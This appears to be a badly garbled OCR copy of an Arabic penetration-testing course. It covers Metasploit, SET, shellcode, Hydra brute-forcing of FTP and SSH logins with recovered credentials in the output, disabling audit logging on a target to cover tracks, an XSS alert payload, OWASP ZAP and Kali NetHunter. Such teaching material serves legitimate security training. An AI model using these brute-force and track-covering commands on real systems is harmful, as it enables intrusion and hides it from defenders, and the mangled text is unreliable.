a0 | SA Secrate

Adapter GUID I Descr l Type I SSID I Password I Hex
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VO GAUI8f ARl Lle 2ALLUTOJ] WAy EUA 2 2) WL UINIT 01T EylnTiingg 0a) Jglilo (0 Apn]
G590 Llell padioll wijliol dlaill Lbg latle Jna LAl drolayl WljlioVl oady Al diy
Wbl 626 Joduio 9l 9Uaill Jobuo Jio
Metasploit o
dulo=) dolio Gulaia (Lods ¢« Metasploit framework (msf) janoll dagido Jilsiwl 6lal ga
Al parn ) Go Wil d5juilog pglnig olaailwigholl Aouyg JUsiwl

)oll Gt e Wipiiyhos

apt update; apt install metasploit-framework
Metasploit Lo GorAimoll vl yolgll =

Search -

database & MSF 6 JUsiwl (Lo Ciagl foa AT
Wil Wlgagell Ue Ciadl) laolaaiul (1Ao uJJl J_olgiJI o aasll ole g1y Metasploit

Aalioll



Metasploit Lo d=iuill diinyl jololl YAy lia =
elifoy . Metasploit Lo dalioll Wipillg Wiquagoll e il 1oVl 1Aa paAing :search <term>
WJUoJl Jw Ode  aan o allhn oy dlin Wla Wl of diiso Wigiago Ue Ciagl) joll 13 a olasiwl

Flash Player @olju@l=iiwlysi e Ciayll search flash plaAaiwl eling)

.Metasploit Lo ALl folgUl Q5L LW 32120 Ual e Ciail) Joll 1aa foasiuy :grep <pattern>
clingy (JUodl Juw ude Wuso uai ule Goind ol UL Ode jpSyill 1oVl 1aa olaAaiwl elifoy

"http" dolh Lde Goini LAl UL Ye Ciadd) grep http plasiwl

130 olaaiwlElif o) pUAil o ditgo Wlelo e Cinill joll laa pasimg<search -f <filetype>
search -f *.jpg rolaAiwl elifoy JUioll Jiuw ule c@loll Eqi Lde =l Gt o Wlalo (e Cinil) j ol

JPG alaiol jgnJlwlélo &lon (e Cinll

Use -

od\oll JUs i\l juisy oaAiu

AWl wlgh Al Uil elifgy Kali Linux po Metasploit 8laf olaAiwl sa)) =
Kali Linuxk_l)_c')J_oIgiJIJJa_wC'l_o)g_lgalQ_J.ro._b -
.Metasploit danlg .2l Enter eli9 o ule hrilg MSF console wiial -

wlalljlanylJga Wloglso ole Beiniduayidubub el jalAiw MetasploitdaalgQio apno) -
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:Metasploit plaAiwlg J&iill Ayl polol oladiwlelifagy
Jol JAJ L& ng &o Metasploit L0 Al LolgUL dosls uays):help

Metasploit > .6 dalioll WiiillgWihagoll e Cinl) paAig search <term

632 10Jl Metasploit 5309 olaAiwlg ayaail paAiug:use <module>

Metasploit 6309 L6 2310 JUuA) dotd =il PaATIY :Set <option> <value
Metasploit 6329 L6 2321 0llPgaal A1Gii) PaAiny :exploit

Anlall elilaliny B og Metasploit o daliolllangllg LoloVl (o Mjollwlitail eliag)

Show payload

Jiiwl Jal o 616qioll payloads ualsiwy oaAiuj

Set payload

wglhollpayload juiaVoasing

Show options

JUisoll payload (1o sjna laalac] winy ol d)g Al OISV Al LoY A AT

Set

Auglin o)l Uluiavl A dold unin Al oaAin
Kali Linux w0 6,0qio janoll Aaqido dugd 6lal (SET) vcloinVl yuaiaoll Wlgal degono A

AucloinVldupria)l Olond A1Qii)
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Kali Linux u6 SET ol pladiwl Wigha o

LAY LI Lo Aangll Alol
Wl LoUlAa 538w eloiall yuaicgl Wlgal degono Jusuitil Enter \le hrlg setoolkit wiiAal
Aalinoll pgaal Glla aaaielifes Cyn SET doil aio
doildJl plaAaiwl dQliagll pgaall WljuAg Wlanio e J&iill ¢lifg) SET doild jgalh a1y
Cueloinyl dupaiall Glond (o Al 101l plaAiwyl dlau daalg SET doild 16qi 010gioll
Ayjollg aloic Ul Wbl Gong JUinVl anill Jio
ogaall Ulalso (WeAig Wgllholl pgaall JoU ani) dublill ole palhi ol Wlel=ill &4l
ogaallalac| duloc Jia SET doils @aibyi
L9 danollpgaall dqio] dyjgpall wigonllguildloll Uiy SET rogé i ogaall (ygAaia=y
ogaalldlnigel duglholl iljuallg WlogleolUEagyy
ole ellgna (o AAlig jan (1A ducloinVl dupaiall ogaa 316001 SET (Lo Gordoll Uilorlsill &uil
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Shell code -

A iAo jlan o Jnii remote shell cbityogé) $allagaliga
Al e waall o] duwjbogdig shell code e sging Cina@lo Uiilogdy GIriall Hivg
waall jlanl aloll Jgngll of ducloinVl duwaiall olaniwl sl Ay $U of pdgriayl
A=y Uc waall plail u) Jengll Aib o) GlIHEAYI Hite Ul waloll did)waall gy Loaicg
jlanl o backdoor yola ub ais Jal o Bale dolip &o Ao ol Lol Ul sl Shell code
Loaall
Qo 1aa Lo shell code @doa gl by 0gH)g L9 R0 Aol Lelo Padiy Gliayl pivg
Uc waall jlanypAnillg Jengll Aihe) Glriavl gite Yo loll e Qidswaallpgd) loaicg
A
rUAill Lo Al uial Jal (o aaimi Ul Uuhos Ll shell code <Libb douwi Metasploit
Loxall
ua iy pJla uo lanidl o
drogupl danlgllplaaiw Lol Start /Kali Linux /Exploitation tools /Network Exploitation Tools

armitage rolaAiwl ol

& larmitage (£ ) JAib
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wloc ukri Metasploit =

Wloan ela Lo Loy AL Wloas sl Uit o U« Kali Linux dAaub Wloas duwliuw &o Wilo]

Jusaini) laalail wuny ulghs Eay Wl el wudlpiol alaclh ajaeill aie bl 6aclod

LUl 6acld roca &o Metasploit

PostgreSQL doaa Jusuiti ext JUA (o ol [ala eodb A Elya) Yoaw / syl d6) Al

s~ sudo msfdb init

Starting database

Creating database user

"mstT’

Creating databases "msf’

Creating databases "msf test’

o Loyl guph e n 6o Llaalac)g

Creating configuration file " /fusr/share/metasploit-framework/config/database.yml’

Creating initial database schema

i~

90 Lo euaill yueiy sudo msfdb run oLl JUA (Lo rololl L] Al 8gias glaAi i Lyl elitgy

Ui agymsfeonsole cadlelaAg.ollel jgaio

MSFDB -

:msfdb &Jlia Metasploit (ugAi (o d@life cljal Go Jel@ill o 6acluol

:~% sudo msfdb

Manage the metasploit framework database

msTdb
msTdb
msTdb
msTdb
msTdb
msTdb
msTdb

init
reinit
delete
start
stop
status

rumn

i~%

start and initialize the database
delete and reinitialize the database
delete database and stop using it
start the database

stop the database

check service status

start the database and run msfconsole

I msfdb (poAai(£€) JAaib

vl Equitoll &o lainii msfdb oy dQlis o Aol a :dAnlo VM

[EA



Kali PostgreSQL doaa Jysuiuilayl

Aol alrsuiniwiny 1) ay dunla Wbl 6aclé A Metasploit PostgreSQL oA iy

:~% sudo msfdb start
[+] Starting database

:~%

[ DB Jusuii (€0 ) JAub

aalillg 0EPr A0isllss -ant Wilapao (Lo Gonill Guph (e PostgreSQL Jusuiti (1o @8l elifoy

:sudo msfdb status rola~iwb g aw] Eoiuy Al (Lo

kalikali:~$ sudo msfdb status
® postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Sun 2021-02-87 82:15:42 EST; 4s ago
Process: 157089 ExecStart=/bin/true (code=exited, status=8/SUCCESS)
Main PID: 157089 (code=exited, status=8/SUCCESS)

Feb 67 £2:15:42 kali systemd[1]: Starting PostgreSQL RDBMS...
Feb 87 82:15:42 kali systemd[1]: Finished PostgreSQL RDBMS.

COMMAND PID USER FD  TYPE DEVICE SIZE/OFF NODE NAME
postgres 157071 postgres S5u  IPv6 647182 ote TCP localhost:5432 (LISTEN)
postgres 157071 postgres 6u IPv4 647183 ote TCP localhost:5432 (LISTEN)

uID PID PPID C STIME TTY STAT TIME CMD
postgres 157071 1 102:15°? Ss 0:00 /usr/lib/postgresql/13/bin/postgres -D /var/lib/postgresql/13/main -c config file

[i] Ne configuration file found
kali@kali:~$

PostgreSQL (1) JAaib

€9



Metasploit Postgre SQL Wllpy6acls dirai o

Laiiyavig MSF wlily 6acld clisi] oJlela asyeling, PostgreSQL Jisuiti Go

t~% sudo msfdb init
Database already started
Creating database user "msf'
Creating databases "msf’

Creating databases 'msf_test’
Creating configuration file 'fusr/share/metasploit-framework/contig/database.yml’
Creating initial database schema

1~%

wJla po msfconsole Jyi1iitiy o6
G ~illgmsfconsole Jisiini elia oy bl 6acld diaig Postgre SQL doaa Jusuivi ol Ul Ayl
.olal anngo ga loadb_status ol plaaiwl il éacld Juail (o

:~$ msfconsole -q

msfe >
mste > db status

[#] Connected to msft. Connection type: postgresql.
msfe >

I vl 8acldyJuaivi(eV) Jaib
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Covering Tracks tool o

MRU-Blaster -

169)9 Aiddoll Ciifiiyl ilalog pUA Ll ule 1580 doaAioll dlgéll Jial LapAii) Aol doly go

QoaAaimoll vljluel!l " warAii ddlsyg Goaiuoll 6 AUl o loll E61g.09 <lowwi (e dlolh Wilogleo

http://www.brightfort.com &6qoll dorAinioll Aol Lahyii Ll @olpl Ll "

CCleaner -

dnlall wlhuuwoll gaolg Lwlall jlan JUA (o Cuijiidl aeni Junldi Ul wahig WuAil 1al

http://www.piriform.com &éqoll CuiyiiVl \de dauinillg palaglu

Disabling Auditing : Auditpol -
oUAJ §161) Ala dojsol laolaniwl (ao)s Lillg NT resource kit Wigal degono (o cjn L
Null Session déjlo Joc unla yupnlig WINNT jluo oo 81281 i o] @ritell eling Jusabill
:1oll Jysuiti pd waall jlandl bl
C:\auditpol \\ <ip address of target>
"WUniolgyguoril Juna i jlisg Ol (Aoesg olail Al Gusail e wauit Ay woguw

C:\auditpol \\ <ip address of target>/disable

AUl s odlulallulelo livg VO Wil o 2a U099y Wogu el )l A s
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Remote Desktop Spy — usb spyware
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:~% sudo msfdb start
[+] Starting database

:~$

wJleli asyelinicPostgreSQL Jysaiti &o Metasploit PostgreSQL wlily6aclod ddai .Y

Laiiiaig MSF Wby 6acld Ui

:~$ sudo msfdb init
[i] Database already started
[+] Creating database user 'msf’
[+] Creating databases 'msf’

[+] Creating databases 'msf_test’
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml’
[+] Creating initial database schema

:~$
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cross site scripting (xss)Jldoaa o

XXS Goqallayaiq iVl &dgoll ule Jgaalluso, )

2 !amvulnerable

URL |https://xss-game.appspot.com/levell/frame

FourOrFour

[| ] Sesrch

1 appspot &dgo (EN) JAub

oVl dloallwiial Y
<script>alert("XXS is there ")</script>

Xss-game.appspot.com g9g0 o=

Congratulations, you executed an alert:
XXS is there

You can now advance to the next level.

1 ogaal 21007 dnyii (€9) JAaub
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ool Ao el dnlA)l ol 6aeld (Lo velaoll i Gh e el 690l JIAall g AN PLA 13]
.Blind SQL injection attack

p h p Ll T Server: localhost » @ Database: wp
D@ A4 Structure [ ] SQL 4 Search | Query [& Export [} Import ° Operations
Recent  Favorites
= Table = Action Tables R

i wp ‘._ Database wp_commentmeta Ase FMf Structure (% Search % Insert I Empty ¢ Drop

= I
- L 15 wp_comments 9 || Browse s Structure # Search 3 Insert [ Empty @ Drop

New
_L _ﬁwp Sl wp_download_log 7 (] Browse 74 Structure % Search ¥ Insert i Empty @ Drop
4|+ wp_comments wp_itsec_lockouts 3l [7] Browse T Structure % Search 3 Insert (5 Empty @ Drop
+-l» wp_download_log wp_itsec_log w = Browse Z4 Structure % Search }E Insert % Empty @ Drop
i o loed lonours wp_itsec_temp ¢ || Browse s Structure % Search 3: Insert i Empty & Drop
+ = wp_itsec_log ;

.0 wp_itsec_temp wp_links ¥ [F] Browse {4 Structure % Search ¢ Insert i Empty @ Drop
+. 1= wp_links wp_nf_objectmeta i 7] Browse ‘s Structure % Search & Insert [ Empty g Drop
+ 1z wp_nf_objectmeta wp_nf_objects {r [5] Browse 4 Structure & Search 3¢ Insert I Empty @ Drop

+_ L= wp_nf_objects = - - -
i e o wp_nf_relationships 9 [Z] Browse f4 Structure & Search 3 Insert [ Empty @ Drop

+_ 1= wp_nf_relationships =
+J wp_ninja_forms wp_ninja_forms 7 [E] Browse {4 Structure % Search 3£ Insert i Empty & Drop
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http://www.acfurniture.com/item.php?id=25
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10t ude In nilitary or secret serv rge al purposes

[-0 FILE] [-t X I-w TINE] [-W TIME]
[ :PORT] [/0PT] ]

I hydra élal (0N ) Jaub

Joaa)l Junwil jgpo WlelA dosls gf joro dolag (roaAiuioll elowioilé) oaAium o roawl o] @liag
4 sl usr/share/wodlists/ Juall oo WlolAl Goils Wikl ude jgivdl lifnos Ll Wloas L]
Kali Linux

J8i Jaagign ol Jaal Juauwil . crunch plaaiwl Uisels dunn e Clels dlgs il Uajl1a]
:oJUI ol rolaaviwl iAoy ya) odaoll @ oll o Widloll
—aAiwgllouwl hydra -

hydra -1— oaAioll fouwl p j9roll dolA ftp://192.168.XX.XX

¢ hydra <1 nsfadmin -p msfadein ftp://192.168.160,131
Mydra vB.6 (¢) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Mydra (hitp://www.thc.org/the-hydra) starting at 2019-81-19 09:18:18
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (L:1/p:d), =1 try per task

[DATA] attacking ftp://192.168,108,131:21/

[21] [ftp] host: 192,168,160.131 login: msfadmin password: msfadain
1 of 1 target successfully completed, 1 valid password found

Mydra (http://waw,the.org/the-hydra) finished at 2019-01-19 09:18:19

hydra (09) JAub

- rolaAiwl UAyl liaes (1A)9.629l9 Jgpo dolAag oaAinie ounl -p g -l (uiol=)l ia LoaAiwl 18]
.J910Jl dolagoaAaiuoll puul dnlall vleolAlldlgdl) -P gL

hydra -L /path/of/usernames.txt -P /path/of/pasword.txt ftp://192.168.1.1

Kali Linux jlan ode Wne Wio OJU ail loA « xHydra Goai jata (Lo Guoguu) dAauwi Glia -
WAl

. xhydra ol plaaiwy Kali Linux dlano (Lo XHydra aio ¢livg) -
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ftp://192.168.xx.xx/
ftp://192.168.1.1/

byt ra
S
! Target Passwords Tuning | Specific  Stars
Ta "'-.I_-"I
= Swvgle Target L 27O
Target List
Frelfer IPWG
Part o -
Protacol .‘irl'i e
< Cprions
Use S5 Be Werbose
Shaows Attoempts Dalzasg
hydra -1l yourname -p yourpass -t 16 1 27.0.0.1 afp

hydra 1 (0.) Jaib
il Wlolle Gron ule wy=iilica.xhydraJdoaaiuioll yguill dolle Had oMefdubUilldng) -

Jo=i lalg
wadldana—waall -
WlolaJlodlgdg joroll Aola Wljun 2an — jopollulols -
Sl sl Wl LAl pogii jatall lay Josi Ul uiay il depll 530 3an — Al -
A odl Log https Jiag W Jlaodl Jio 63200 wlhialode Juisl)—3ang -
eVl el ogaallold)lg ey — 2l -
waall i)l dolle Lo Ugagigug Loaa pisl Ayl dublidl dné) ,o

dolag Uroaaioll clowl dosLs gf pasimell puwl i Uisoes jorell Wlola Liguill dolle o ol

:AUWI dubLill An bl o example (Lo @9 g rall tilola dolls gf joroll

xHydra = =
St
Targat Fasswords | Tuning | Specific | Start

Lsermamea

“® |ilsername Iro:l |

0 Username List I

O Loop arcund users

FPassword

2 Password [','ollrpn 55 |

® Passwword List !.f-r.:;_-l.f: asswsord st |

Colen separated file

C Use Colon separated file

I Try legin as password ) Try empty password

hydra -L root -P fSrootfpasswordoxt -t 1 192.168.0.1032 ssh

& 1 xhydra lao () JAub
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"laoll aac" Jhn Lo | Guaddan wglill dolle Hiliod

(=TT
e o ________
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-Performance Opbions
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Temeout 30 IA

[ Exit after first found pair

2 HTTP Method O COMNMNECT Mathod

P:cn-c':,r [hl. LF:_|'_|"1 2?.!}.0.1:3{!5[}]

[ FProvy needs asthentication

Usarnarme I.-:.-aurnzr'r‘e ]

Fazswrorad ['yl:!ur pass ]

wdra -l root -P Jfrostfpassword.t=s -t 1 _1.92.:_[53.'0.103 =sh

2 xhydra ol () Jaib

3 Tond
mebH i R R =
ik

~“Target-

@ Simgle Target l I |2 1aa8.a. 103 I |

T3 Target List I
0 Prefar EIPYWE
Parz i o |;:
I e
Fratoc=l Iis_—._’"\. | I |

Dutput O poons

O Use SS5L O Se Werbaose

0 Show Attempls O Drebug

hydra -L roat -P frooffpassward. txl -1 292165 0,103 ssh

P xhydra folao (W) JAub
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i8Il 5an] JUA (Lo h66 (LAoy duulallié)la] donlao

wHydra = 1O | X

Gt

Target | Passwards |Tunng | Specific | Start |

Output: 4|2
;H yora w? 6 (e]2013 by van Hauser/THEC & David Maciejak - for Legal purp

;I tycra (hitpeffwww the.argfthe-hydra) starting at 2014-10-14 0%:53:33
|IDATA] 16 tasks, L server, 3557 Login tries [:1/pc3557), 222 tries per
|[DATA] attacking service ssh on port 22

[ERRCR] sshprotocol error

[ERROR] sshprotocol error

[ERRCR] ssnprotecel errar

[ERROR] sch protocal error

[ERRCR] sshprotocol error

[ERROR] ssh protocal error

[ERROR] sshprotocol error

[ERROR] schprotecol error

[ERROR] sshprotecal error

[ERROR] sehprolacal error

[ERRCR] ssh protocol error

[ERROR] ssnprotecel error

The sescion lile .ﬂ:‘,r\dr:.rﬂslr_'rl-lwn; awerit L. T'EI'F“’ "h-r'drn -B" to resume o

Hydra w76 () 2013 by van Hauser/THC & David Maciejak - for legal purp

a » ] I2]

Siart] lSLopJ Save Oubput | Clear Dulpul

hydra -l root -P frootfpassword txt -t 1 192.168,0,103 s5h

€ xhydra olao (0€) JAib

(=T

T arqget Poamc e car o= Taarmirg iSpcu:iﬁ.:i =L -4 I

1)

[EfffEOi] s=n orocoool error
[EREOR] == orobascl errar
[FR=7ECOR] s=sh srotac el srrar
[ERROR] s=h orotccol errar
[ERRACOIE] ==h oraotoool error
[EREOR] ==t @mroaftac ol escar
[ERARODRA] ssh o protaoc ol arrar
The sessian Tile _fMmydra.sescores wwas wWritten. Type " nydra - 7 oo resame =000
Hydrao o o el 200 F Dy wass FHouser A TEAE 2 Dawsdd Maciea®™ - Tor Laogal s s

Hydra (hitrpsdffeeesey, thc . orgithc-hydral starting at 20404 -100-14 OS5 E5: 59
[ f@rdirdS] FRestorefile LAy drarescore) Ffeorm a prewvicous secsiorm Toumedd,
[ Tm] O ztas, 1 servwer, S5 Lagim e L/ pFESSTF). ~F5ESTF oress pad o
[T attacking sorwice ssh oo parts &2

[STATLS] AF. OO criesSmym,. A F tries in OO0l 25900 sodo im D229, 1 ac
[STATILIS] A4.5F oricesSfmmm, <5< tries in OO0 3m S 515 godo wm DS -S0n,. 1 o ac
[STATILIS] 1. 56 tricssmom L09E tries im QD007 EN95F tedo irn OF:S 3. 1 4
([2=1[==hl hast: A92. 05802103 |[toginm: rao l:hl:ll Fasswrord: toor|

= Firishe o=

=

1 1=
I ke l:I =11 I—Sn'\-r_- Rk | | Clear l::lutp-u{j
hydra -L rooct —F Mfoolfpasswcrord.t=t -t 3 192 1G85 0.1 0% ssim

5 xhydra folao (10) JAub
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olal Jopoll dolag oaAimell puwl &g) Lises SSH @lyial xHydra ogéy Loaic [dulos! iatii o
AU AbUiI And) K6 ango ga los

/mnt/c/Users/RAJ/Desktop/javascript
hydra -L user.txt -P pass.txt 192.168.29.135 ssh -t U
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (Ll:d4/p
[DATA] attacking ssh://192.168.29.135:22/

[22][ssh] host: login: password:

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-
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Directory Traversal juuoll jolai 62—
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AyUc Ul =il 21011
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Web application analysis rouw)63g2g0 g 61aUI jlial .

Automated Scan juinl - aolpdldanlg yJalAi .

IP JI o) gl /http://testphp.vulnweb.com waaiioll &690ll lnul) Aoln] o) Aol 0da KO
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«Jlo cWwbidac jalhiguandlllay .
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lanno i il gl —u
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OWASP o

ol guhi Ylol Eguilo (rixig Open Web Application Security Project J juaisl go OWASP
laora Lle l@agan YAl g8 M ole Ciuwli pay pe Eguito of duwgo (»ag 2gidol
rdll clail Gron L6 Eglnio P Laua) Ul un wlbphill Ylol 8:l04 &6)g (i gag arngll
Janoll dnqido Wigalllg yahill Aol (Lo Irac pawyjuilo (Loniig diyioll oaign sl ol Ugogs)
.OWASP Top 10 g 6 0ub JisVUl oacquii o Yoy 16 (A9 Wiloidollg llsellg

ode el phlao)l@ring ol Cun w gl uldnini ulpei | il w@rinil doils OWASP Top 10 i
Lo vlaglpeilloaad Jiowinidueial ASlnilluasy Unclogdi Lyl lail los wilp2ill 6jgin A a0
AoVl Cilysil oa e jUikiil J16) loo oaloc Ul Uyjgnollg @liavl G iise sy
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As5Uill dyioll
:ode (591049 M1 ol b 0)lan] ol doilél Ciyaal Al

Broken Access Control

Uee il Jroaainoll Jgng Ulors uo (Access Control) Jgngll uo roanill dolail wwaa gay
el OJl Jangdl dd @ay b oaain e Juing 1Al tany 1ale (1AJg duglin ol w@stagll ol bl uJl héo
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Failures Cryptographic

ol Juiie Gany Woaaiugll 495 ole dAoslaoll (ol ja8i U laiolg Wil dungns
Sensitive Data ) IV role) OWASP Top 10 doild oo Wiz Ula los ol (Cryptographic Failures)
Q12 1161017 Wliojjlga laaiwl of (Plain Text) 1ieiin (Jga Wl ule Khleall aic (Exposure
Jorodl WlolA poaiii aie (Salt Value) Jl olaaiwl jliad Jliodl Juw ode of puall dbls

Injection

gl guni ol aaay A A (Injection) (LAl Wlpsd aund ¢ (oaAim el A oy A4l pac
Al WU oIl Jgngdl Aaliy (52§56 ua Wl iwlg Wbl Jhab o alael (6 Al UlLi (A0
XSS Injections & SQL JI loa Eqill 1xa Hde (wlio fauiig

Insecure Design

\Lii6 6)2illord Lonil fagilialisy laa1oiill o Uasi Go duioll Wil o A=)l Jolii loiy
Y 8lelio Uga Gulnill L] oy Cuun el pe nilgall gl YoVl gy 3gng roas) ool o
Auiol jyleo

Misconfiguration Security

oac ol Aujgua je Angido (Ports) A6lio 3gag Jio Alioll (o sl dloiaoll pe duioll vilalacyl
sl 26 LIl Wlogloll o His Lle Ggind LAl Uaall Jilw) of dunlpioul wllwall wan
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Vulnerable and Outdated Components

He gl diano e Quaop ilhog wligho laaiwl aie wlpkill (o Egil 13 a) (gl Wld ng A=)
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Identification and authentication failures
lia.@iolas lahild douwi) oaAiuell (o @bailldygall LUl gl uléuing (o aya=livilinjg
Wany elagwliwlalig jorell Wlolh Jgnglimpalasl Aol loo dugall (o GOl Julio pas il

(MFA) Jolg=Jl 63a=i0 dbalno olaaiwl oac ol lUgall ddien ddalno duloc olaAaiwl Aic
Software and Data Integrity Failures
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lianill dollw (o 25l Cugll Gl EgapIUga WL WA nil Jlwjl g »dllg Lato ¥eigo
iUy AoMing L)l Gund ua )i 6)LA Wliani 3909 Ol 538y 26 Lo A

Failures Security Logging and Monitoring

Wl 528 Loo AlAn o ST Uga Guiol WILIKiAIl Jgrol elownl Audlrollg Yol il HJ] JLEioVl (538
o Al LBl 5ginell 3gag ac gf WA A3gag Pa) ialgall dulaiwig Grénill §ro Juiio
ol Jaiiy lavirolioac Gayii Jyasill gl woaal curnyi Gl O of Ml il oo digjai
Server-Side Request Forgery (SSRF)

URL JIdan (o @821l yga d=o6qio pue End Point J po @b (e jgjo wila Juwjuoldllaic
iy VU Wloglszo Ol Jangl anjla gl laws Ygigo dans doladiwlg yopuull Jala Jgai a6

Lol <iilg lagle Wil od1a] s [il g Ul ) i 6530 SSRF JIwlisd Ol owe) Lol Jgingll
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1oVl 21011 IP Address waall gl pala Ulgic doyso Aic Loy oUdll
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Ll <iml
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Metasploit
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Guhkill Gload
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Kali Linux o0 Jltosill Qi®sod -
Jayleli9o ule hrlg"owasp-zap" Lollwial -

JuUiguuglaldning juiay aoelaaiwl gilelinaolg.lublidl ole OWASP ZAP danlg palAi -
Wl

sudo apt install zaprox

sudo apt install owasp-mantra-ff

owasp-zap .\

t~# owasp-zap -h

Found Java version 17.8.9
Available memory: 14969 MB
Using JVM args: -Xmx3727m

1 0owasp (10) Jaub
AL dnallipjall

:~# owasp-mantra-ff -h
firefoxportable:Debug/Info: @=./0WASP Mantra
firefoxportable:Debug/Info: dir=/usr/sharefowasp-mantra-ff
firefoxportable:Debug/Info: Current Dir=/usr/share/owasp-mantra-ff/Mantra
Welcome to the Linux version of firefox 18.0 in portable mode. Feedback is NOT disabled.
firefoxportable:Debug/Info: Profile Directory already exists!
firefoxportable:Debug/Info: firefox is now closed.
firefoxportable:Debug/Info: firefoxportable is now closed.

1 Owasp (00) JAub

lailolaAiwl & lonao ol Zaproxy .Y

Available memory: 149689 MB

Using JVM args: -Xmx3727m

Usage:
zap.sh [Options]

Core options:
-version Reports the ZAP version
-cmd Run inline (exits when command line options complete)
-daemon Starts ZAP in daemon mode, i.e. without a UL
-config <kvpair> Overrides the specified key=value pair in the configur
-configfile <path> Overrides the key=value pairs with those in the speci
-dir <dir> Uses the specified directory instead of the default on
-installdir <dir> Overrides the code that detects where ZAP has been ins
-h Shows all of the command line options available, inclu
-help The same as -h
-newsession <path> Creates a new session at the given location
-session <path> Opens the given session after starting ZAP
-lowmem Use the database instead of memory as much as possible

P |.Zaproxy () JAub
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File Edi iew Anaiy:

 Owasp (00) JAaib
dpVlulod=i)l &y .Y

OWASP ZAP o0

OWASP ZAP

270

257 Tips and Treks:

Add your target appicanon o 3 Content uung the nght chei
mew Inchide n Conteat

| The allows you el ZAP more about the Larget. such as the

| authentication. the users and the technalogy T uses

-

INFO. Ioaded Mt Meplace M1 IV response hescw uing defn
od pattern.

: AUVl dubuill W e Wi ¥

Report Tools Online Help

(Standardmode vl | LMl D S DEQE OO0 &, @F P O KERE o€

[@sm]+] [ Quickstar ] = equest | nespores- | |

Qa5

T@ Welcome to the OWASP Zed Attack Proxy (ZAP)
‘_n ZAP is an pasy to use integrated penatration tasting tool for finding winer 5 applicatians.

Pleas be aware that you shauid enly attack applications that you hawe been specifiealy haen given permissian to test

To quicklytest an spplcatian, enter its URL below ane press ‘attace.

URL to attack it [ @ seect.. |
[ wamede | W=t

Pragress: Hot startea

For a mara i dapti tast you should explora your spplication using your browser or automated regrass on tests whis Broming through ZAP
Explore your spplication: | Lsunch Srowser | rowsar [v)

If you 3re using Frefax 26,0 or later you can use Flugn-Hac’ to configurs your browser:

[ rustorg ] = search [ i aiens [ [ oupus [

@ @ | fAter oFF
] | fieq, Timescamp |Method  |URL |code | meason RIT  Sefesp.Gody | Hghestdlst  |Note | Tags
Aerts B0 B0 R0 RO CurrentScans @0 B0 A0 W0 o S0 B

4 Owasp (10) JAib
attack ulec hrlld Ua Ip Ylgic JKHalogdi ¢

phcation, enter ts URL Delow and press "Attack’.

| http:1192.168.71.134)
[iankas = s

Not started

0 Owasp (10) JAib
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Y Owasp (10 ) Jaib

alert ajla Lo AoVl vl yiw .1

» /% Cooke No HttpOnly Flag (5)
» 4 Private IP Disclosure (5)

» 7% Wieb Browser XSS Protection Not Enabled (76)

V Owasp (10) JAaub

Glapaell LY
uldukillerror -
Ulgllunpayéing -
laln) 86909 La@ Ngg 6)2ill 6aalilog Jgdall pditey // AAnllo
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& stop ule e AT JUA (Lo ladld)| Jho) -
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pdill dyloe JlobY dublill ode Ulogl <l Gdilg CupiillQlo Jisuiviy b @oUpdl Jjiiasy -

Aol Jusairiyod NetStumbler cuuiingnogs -

Laillag el dlanoll dua Ll Gltapily doils ua =i ol ol danlg el jalAain - -

23 199.6)Ub)I 6.6 Aya g el dninell Wi-Fi Jlclaub Julnail NetStumbler plasiwl elingy -
e Jongll hldi cuiiag duabinl clAlail wuiiag dAauil alygli (o §éaillg (Eblgoll
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v | Use any suitable device
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https://netstumbler.ar.uptodown.com/windows/download

Al alauillyanel NetStumbler

Aiuiig NetStumbler Jjiiyod .

g (o GuAa b\l alauillyano 00 WL I ¢la A=y NetStumbler Jusauiriyod .
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bler - 20131112213735
|Dev1§1e1 Window Help
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ole Pgaall 3165 s loA Gial dAaub of jlan Jungi) Jlwioll loeaAiugg . dulnll diloas Wl

Wl joladg Joroll Wlolh juntg Backdoorop@lall wll caniig Agonoll yunqill doliy jlanll
Jswplg Ldoprialyl apll Jsbwy Jio $9ino uwnaill Qolpy Juwy wWloglsoll dAdpng puoiiill

Jlaall ol 6ol

WiHack o

Wi-Fi Jl doas dualill alanivl ple pgaall (o 6acluel) dualill Glrisyl wigal puoni
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Kali NetHunter 6lai o

ojaVlGlpial juisy jan ol dngid og duilno dunio (e 6jucg Wilgall dnin- o Kali NetHunter

Kali Linux ule apisi Android 6janl dgonoll
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NetHunter oJ& Wldunipaio ©
dohgll oaa &uwgi dnn Aol 6lgill (1A0) oAl Wloasg Wigal Ulrogy Uujaaioll (ujlanyl LA
Wi- Q51 i) Wi-Fi (182 roea o] Ao nu USB 6 janig dAnil) dyoln] Jusiini doly dolal Guph (e

63300 Fi

/https://store.nethunter.com :Jioaill laily

12:25 PM

€ NetHunter i =  Custom Commands

Asecurms
;«\ (]

ADD, DELETE, MOV
ur ¢

Update Kali Metapackages

Launch Wifite

Kali Chroot Manager

Start wlan0 in monitor mode

Stop wlan0 monitor mode

KeX Manager
Start wlan1 in monitor mode
US8 Arsenal 1
HID Attacks
DuckHunter HID
Bad USB MITM Attack
Mana Wireless Toolkit

ADD DELETE MOVE
MITM Framework

I NetHunter QA ) JAaub

wll doln)u. (NetHunterg NetHunter Lite) (uaoisoll (yjlan)ila po elio Kali NetHunter g uin
Jio o)l vlial (ro aa=ll Layl NetHunter oeay (Kali Linux oo Gioroll @liayl juisl culgal

Al layieq Evil AP MANA Wlonag BadUSB wilonag HID Keyboard Attacks
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¢ Kali Nethunter olasiwl [agiwoia

aniiod guhiwniiyuy gad Aol dulo=)uyuy oballW@ilall e Kali Nethunter ciun i
Lo Termux yoloVl thin Gy (e V] Kali Nethunter rolaj (unii (J50) V @olasiwl oo =2yl
Al Aol 616 Lap " Termux ga Lo Wi od UlwunilQilall

AlA~Mo

ELoila Lo puAill ole duite Terminal dinio Guhill el 16q) a)gaill) Gulni ga Termux Gunsi
el @ilall o Termux JUA (o it oy publo Jsiiing g Pl odl eling ¥ Gun il olasil g A3l
